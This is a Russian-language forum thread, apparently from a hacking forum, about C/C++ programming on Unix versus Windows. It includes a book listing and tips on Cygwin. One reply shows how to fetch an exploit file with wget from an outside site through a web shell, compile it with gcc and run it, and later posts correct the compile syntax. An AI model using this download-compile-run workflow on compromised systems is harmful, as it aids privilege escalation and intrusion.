• XSS.stack #1 – первый литературный журнал от юзеров форума

Кодинг С++ под никсы...

dampil

(L3) cache
Пользователь
Регистрация
01.01.2005
Сообщения
232
Реакции
0
Народ, расскажите какая разница в кодинге под винду и никсы ? Как запустить к примеру с веб шелла прогу на сишке на никсах ? Или книгу какую подкиньте, заранее спасибо.
 
Как запустить к примеру с веб шелла прогу на сишке на никсах ?
WGET http://www.securytylab.ru/spl.c //используем wget для скачивания сплойта
HTTP request sent, awaiting response... 200 OK
Length: 6,821 (6.7K) [text/plain]

100%[====================================>] 6,821 21.38K/s
gcc spl.c -o spl.c //компилируем с помощью gcc
./spl //запускаем
Или книгу какую подкиньте, заранее спасибо.
Почитай например Unix Man, его можно найти здесь
 
Народ, расскажите какая разница в кодинге под винду и никсы ?
другие апишки.
сишный рантайм тот же, то есть все printf, scanf, strcpy, atoi и прочие - кроссплатформенные
 
Советую поставить на рабочей тачку линух и какую-то среду разработки. С/С++
В них и справки встроены и сразу ошибки показывает. Я сам сейчас переучиваюсь писать с винды на линух и такой средой разработки пользуюсь. Очень помогает :)
 
Ну если не хочешь ставить никсы, но хочется работать в них достойно(советую всё же поставить), то ставь эмулятор никсов например cygwin, который часто помогает например когда нужно скомпилировать, а в сорце используются никсовые api
кстати например после компилирования под cygwin'ом никсовые приложения(hydra, wget, etc) будут работать только если в папке с бинарником будет cygwin1.dll
 
http://litera.by/catalog/detail.php?topic=1001050124
1065.jpg

Программирование на C++ в Linux (+ CD-ROM)
Николай Секунов
Серия: Мастер программ

Книга посвящена созданию приложений, написанных на языке С++, в среде разработки KDevelop. Дано описание способов взаимодействия компонентов приложений. Рассмотрена работа с утилитой Qt Designer и описаны основные элементы управления, используемые в диалоговых окнах, а также классы, созданные для работы с ними. Читатель знакомится с концепцией Документ/Представление и учится создавать элементы пользовательского интерфейса приложения. Кроме того, в отдельных главах разбираются вопросы вывода на экран различной информации, сохранения и восстановления ее из файла, создания текстовых редакторов, работы с шаблонами классов и функций и организации многозадачности в приложении на основе взаимодействующих процессов. В завершение предоставляются рекомендации по созданию справочной системы приложения.

Переплет: Мягкая обложка
Число страниц: 368
ISBN: 5-94157-355-3
Издательство: BHV
Год издания: 2005

Содержание:

Введение
Для кого предназначена эта книга?
Структура книги
Соглашения, принятые в данной книге
Требования к аппаратным средствам и программному обеспечению
Глава 1. Взаимодействие компонентов приложения
Сигналы и приемники
Посылка сигналов
Реализация приемников
Реализация соединения
Обработка событий
Работа с окном
Работа с фокусом ввода
Работа с мышью
Работа с клавиатурой
Реализация перетаскивания
Фильтры событий
Синтетические события
Последовательность обработки событий
Заключение
Глава 2. Диалоговые окна и простейшие элементы управления
Создание диалогового приложения
Создание заготовки приложения
Создание заготовки диалогового окна
Завершение создания диалогового приложения
Создание специализированных диалоговых окон
Создание диалогового окна с вкладками
Создание мастера
Глава 3. Классы элементов управления
Класс списка
Классы линейного регулятора и линейного индикатора
Работа с датой и временем
Глава 4. Классы приложений, документов и представлений
Многооконное приложение Qt
Класс документа
Класс представления
Класс приложения
Многооконное приложение KDE
Класс документа
Класс представления
Класс приложения
Глава 5. Создание элементов пользовательского интерфейса
Пользовательский интерфейс библиотеки Qt
Внесение изменений в меню
Настройка панели инструментов
Работа со строкой состояния
Пользовательский интерфейс приложений KDE
Внесение изменений в меню
Настройка панели инструментов
Работа со строкой состояния
Глава 6. Вывод информации на экран
Рисование фигур
Работа с кистью
Перерисовка окна
Синхронизация объектов представления
Вывод текста
Работа с битовыми образами
Аппаратно-зависимые битовые образы
Аппаратно-независимые битовые образы
Глава 7. Работа с файлами документов
Сохранение и восстановление информации в приложении
Настройка диалоговых окон
Внесение изменений в меню
Установка рабочего каталога
Глава 8. Работа с текстовыми документами
Создание простейшего текстового редактора
Создание более сложного редактора
Создание редактора KDE
Глава 9. Шаблоны и классы коллекций
Шаблоны
Понятие шаблона
Шаблоны функций
Шаблоны классов
Классы коллекций
Виды классов коллекций
Массивы
Связные списки
Карты отображений
Другие классы коллекций
Глава 10. Реализация многозадачности в приложении
Взаимодействие процессов
Создание клиента для простейшего сервера
Создание более сложного сервера
Создание клиента
Некоторые замечания
Глава 11. Справка в приложении
Формы представления справочной информации
Способы доступа к справочной системе
Способы представления справочной информации
Формы представления информации
Программирование контекстной справки
Вывод подсказок
Вывод справочной информации в строку состояния
Получение информации по конкретному элементу пользовательского интерфейса
Программирование командной справки
Формат файлов командной справки приложений Qt
Создание демонстрационного приложения Qt
Приложение 1. Что на CD
Приложение 2. Ресурсы Интернета
Предметный указатель
 
chiff
вообщето правильней будет запускать ./spl.c
Это почему же???
 
Это почему же???
-o то_что_на_выходе
 
chiff
вообщето правильней будет запускать ./spl.c
не-не-не, парень, ты не прав, ведь мы бинарник запускать будем =)
просто команда для компиляции должна выглядеть немного иначе
Код:
gcc -o spl spl.c
аргумент опции -o задает имя для бинарника :thumbsup:

...тогда и запускаем командой :
Код:
./spl
P.S. пока постил, Dude03 уже ответил =)
 
аргумент опции -o задает имя для бинарника
Да, всё правильно, опечатка :)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх